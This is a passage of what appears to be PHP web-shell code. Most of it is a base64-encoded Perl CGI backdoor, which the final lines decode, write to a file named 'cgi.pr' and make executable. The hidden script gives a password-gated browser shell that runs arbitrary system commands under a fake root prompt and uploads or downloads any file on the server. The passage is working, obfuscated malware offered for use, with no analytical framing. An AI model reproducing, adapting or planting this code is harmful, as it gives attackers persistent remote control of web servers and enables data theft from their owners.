UNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIltyMDB0XEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0=';

$file = fopen("cgi.pr" ,"w+");
$write = fwrite ($file ,base64_decode($cgico)); 
fclose($file);
    chmod("cgi.pr",0755);
    yemenhead();
